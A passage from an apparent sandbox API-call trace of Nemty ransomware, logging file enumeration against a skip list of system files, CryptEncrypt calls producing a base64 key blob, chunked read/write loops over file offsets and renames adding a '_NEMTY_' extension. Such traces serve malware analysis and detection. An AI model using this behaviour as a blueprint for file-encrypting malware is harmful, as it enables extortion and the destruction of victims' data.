lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.849] CloseHandle (hObject=0xffffffff) returned 0 [0204.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0204.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0204.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0204.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0204.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.849] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h._nemty_kgobjgd_")) returned 0 [0204.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0204.850] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-V", cAlternateFileName="EXT-RK~2")) returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2=".") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="..") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="...") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="windows") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="$RECYCLE.BIN") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="rsa") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="NTDETECT.COM") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="ntldr") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="MSDOS.SYS") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="IO.SYS") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="boot.ini") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="boot.ini") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="AUTOEXEC.BAT") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="ntuser.dat") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="desktop.ini") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="CONFIG.SYS") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="RECYCLER") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="BOOTSECT.BAK") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="bootmgr") returned 1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="programdata") returned -1 [0204.850] lstrcmpiW (lpString1="Ext-RKSJ-V", lpString2="appdata") returned 1 [0204.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0204.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0204.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0204.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0204.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ext-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ext-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0204.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0204.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0204.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0204.851] Sleep (dwMilliseconds=0x5) [0204.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2dbdebd0, dwHighDateTime=0x1d561e8)) [0204.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2dbdebd0, dwHighDateTime=0x1d561e8)) [0204.857] GetLastError () returned 0x5 [0204.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.857] GetLastError () returned 0x5 [0204.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.857] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0204.858] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="JNJqnZl4mC+bXi66lO1AzKNwTQDZmSTLw8EdkVD6aDCuJgEU9mOD+FZyPDNoSOt5\r\nkyMdhF+dZGt890oKHzJbSfmy38R45uIXD+3t5H0I0JVB5EFE8ADfyHzzRHj3PTLJ\r\n010Hz+tiXea2akaYTgo8nEolu58uCxfVIsKSiBTo6mdKazGFpFQyzPN6n9AMfmKp\r\nlT+Ie2+2F57BBazcFkh6lR8zVXw+0xwizpFCt9g29GlqhHbEF6740wgpCW+1PFSo\r\nPutxUi0gzEW8e67JImEXOLFH25eD9tyJ+1B2R4x7oCKoTsQ6tA8L7eXTU++yoqag\r\n/sjRzyO+7F9exXlzTku6Tg==\r\n", pcchString=0x653e91c) returned 1 [0204.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0204.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0204.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0204.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.858] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.966] CloseHandle (hObject=0xffffffff) returned 0 [0204.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0204.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 